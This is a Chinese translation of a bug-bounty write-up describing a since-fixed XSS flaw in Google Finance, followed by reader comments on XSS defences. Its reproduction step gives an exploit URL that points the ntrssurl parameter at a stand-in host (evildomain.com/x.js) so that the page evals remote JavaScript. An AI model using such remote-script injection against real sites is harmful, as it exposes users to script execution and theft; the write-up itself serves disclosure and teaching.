我是如何在谷歌财经发现一个XSS漏洞,并且拿到了5千美元奖励

【感谢@AvisBlume 的热心翻译。如果其他朋友也有不错的原创或译文,可以尝试推荐给伯乐在线。】

导读:我们在6月13日发了一篇资讯,说“Google调整漏洞奖励计划,单个漏洞最高奖励7,500美元”。7月30日看到 Michele Spagnuolo 发的博文称“他在 Google Finance 上发现并提交了一个 XSS 漏洞,谷歌安全团队确认并修复了该漏洞。Michele 因此拿到了 5K 美元奖励。” 以下是 Michele 博文的译文。

这个问题出现在Google Finance中(google.com/finance)。它能欺骗Javascript的走势图应用(源文件为/finance/f/sfe-opt.js),让其载入一个托管在外部域上的文件,然后通过eval()方法将该文件内容转换成Javascript代码并执行。

这个过程不需要用户交互,只要点击一下URL就可以了。

复现步骤:

1)点击该URL(目前已修复):

https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js.

文件x.js包含下列验证代码用来演示:

该文件必须通过https来托管。

2)远程Javascript被执行。

 

工作原理

以下是 /finance/f/sfe-opt.js中的两个代码片段,它们引起了这个安全问题。

在上面这段代码中,URL参数,更确切的说是ntrssurl参数(用户RSS源的地址)被获取并进行了连接。

第二段代码负责在外部域中查询新闻源以将内容显示在走势图中。

它生成一个回调函数名,以字串 “?_CALLBACK_”结尾。函数Wi对URL中的ntrssurl参数中的域名执行xmlhttprequest操作。

然后,返回了一段简单的Javascript代码,并且通过eval()方法将其执行。

http://ww1.sinaimg.cn/large/63918611jw1e75zxehpi7j20oa0f4tbc.jpg触发XSS漏洞的截图


callback 请求截图

有漏洞的代码片段

这个安全隐患很快就被修复了,我因此得到了5000美元的奖励。

非常感谢,Google安全小组!

收藏 3 评论

关于作者:伯乐在线读者

① 本账号用于发布那些在伯乐在线无账号的读者的投稿,包括译文和原创文章。② 欢迎加入伯乐在线专栏作者:http://blog.jobbole.com/99322/ 个人主页 · 我的文章 · 32

相关文章

可能感兴趣的话题



直接登录
最新评论
  • phoo   2013/08/07

    仔细看了一遍,终于明白什么意思了。

    整个文章关键是这句:“它生成一个回调函数名,以字串 “?_CALLBACK_”结尾。函数Wi对URL中的ntrssurl参数中的域名执行xmlhttprequest操作。”

  • 我是程序员   2014/03/24

    在开发的时候涉及到重要的危险的地方最好由专门的部分负责,其它的即便符合要求也不能操作相应的部分,这样只需要保证该部分安全即可.

    文本编辑器如果相对于大众那么就危险了,因为它本身就是提供用户方便上传有一定功能的代码html的程序,你肯定不能直接过滤功能代码,但是问题是哪个是危险代码,html完全混淆在一起了,无法直接过滤。当然如果不是危险的环境没事。但是对于大众的,我想的是前台不生成html代码。

    对付文本编辑器的XSS漏洞的方法我有2个方案:

    方案一:后台解析前台上传的代码,程序解析相应代码中安全的部分,生成只有安全功能的html代码,但是这样需要解析各种功能,解析负担大,各种格式解析非常复杂,可以与固定的对应文本编辑器配合好,只对它负责。其它的代码过滤.,出错不负责.

    方案二:前台文本编辑器不生成html代码,而是记录用户地行为,将用户呈现的效果通过表单发送给后台,后台根据这些功能生成html代码。用户行为很复杂,各种功能都有,数据有可能很庞大,后台负担和代码质量被很高地要求.

    总之我的原则是假设是危险的,然后接收安全的,而不是假设安全的,过滤危险的。这个本质差别大了,但是也需要前后台配合,前台不能生成任何有执行效果的代码,前台只能生成请求,后台产生命令,这样对前台会有限制。

  • 你好啊   2014/03/27

    服务器端直接接受客户端数据变成自己的代码,谁也区分不出哪个是客户端代码,除非你设置权限,强制限制代码运行范围,那些超出范围的肯定不是服务器端的代码,这很麻烦

跳到底部
返回顶部